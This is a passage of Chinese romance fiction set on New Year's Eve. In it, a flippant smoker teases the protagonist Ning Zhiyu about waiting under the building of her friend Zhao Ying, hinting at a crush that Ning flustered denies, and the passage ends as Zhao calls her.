宁执玉本想问她们刚才为什么说话要对自己指指点点的,但是徐敏敏接下来的话把她吓得瞬间目瞪口呆。 徐敏敏轻描淡写:“哦,是泡友。” 啊? 宁执玉怀疑自己一度出现了幻听,她缓慢地扭头看向这个云淡风轻的长发女生:“你说……什么? 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她们头上的烟花绽放得越来越频繁,这意味着跨年倒计时的钟声马上就要到来。 “徐敏敏,你不用回去陪你朋友吗?”等了十几秒后,忍不住再度开口的宁执玉试图驱赶此人离开,“你们不是约好要一起跨年吗?” “哎,没事,现在赶回去倒计时也来不及了,干脆陪你两分钟,回头我再陪她一整晚。”徐敏敏格外坦然道。 宁执玉:? 她怀疑这个跟自家舅舅一个姓氏的眯眯眼女生在开车,但好像没有什么证据。 然而下一秒,徐敏敏口中倏然吐出了一股白烟,怀揣着某种复杂的情绪轻声说道:“毕竟我已经过了像你这样躲在暗恋女生楼下苦苦等候的纯情年纪了。” 宁执玉:“…………啊?” 她足足瞠目结舌了将近七八秒钟才反应过来。 这个她先前从未想过的理念一经出现,好像深夜里突然有一道耀眼的雷霆突然砸在脑门上,又好似有什么无形的众多巨石一下子从天上滚落到自己身上! 惊得宁执玉直接原地蹦起来,大为恼怒地对徐敏敏低吼道:“你你你……你乱讲什么?!我跟她只是朋友!!” 说出这句话时,她只感觉自己原本有点冻僵的脸腾地一下烧起来,也不知道是气的还是恼的。 砰! 砰砰砰! 她们两人头顶的烟花在这一刻达到了数量上的巅峰,变化绚烂的光影落在两人的脸上和身上,小区外头传来了人们的倒计时欢呼声。 “3,2,1……新年快乐!!” 但是宁执玉没有心思去关注什么跨年了,她只是如同遭受了某种巨大的耻辱那样愤怒地盯着这个仅仅有着两面之缘的女生。 用手指夹着香烟的徐敏敏却没有动怒,只是愈发愉快地笑了:“这样吗?那可能是我猜错了吧。抱歉。” “……” 看着这张总是对一切事情都漫不经心的面孔,不知为何,宁执玉更想要揍她了。 老宁下意识地想要辩解几句,但这种事一开口又好像在狡辩,而且她为什么要向一个陌生人证明自己与赵颖的清白呢? 偏偏就在这个时候,宁执玉的手机响了,拿出来一看居然是赵颖打过来的语音电话。 宁执玉先是瞪了抽烟的徐敏敏一眼,后者微笑着举起双手表示投降,不会乱说话后,老宁方才接通。 “我刚刚在给王艺菡做烟花直播时一低头就看到你了!”赵颖兴奋而刻意压低的声音从手机那端传来,“老宁你怎么会来这里?”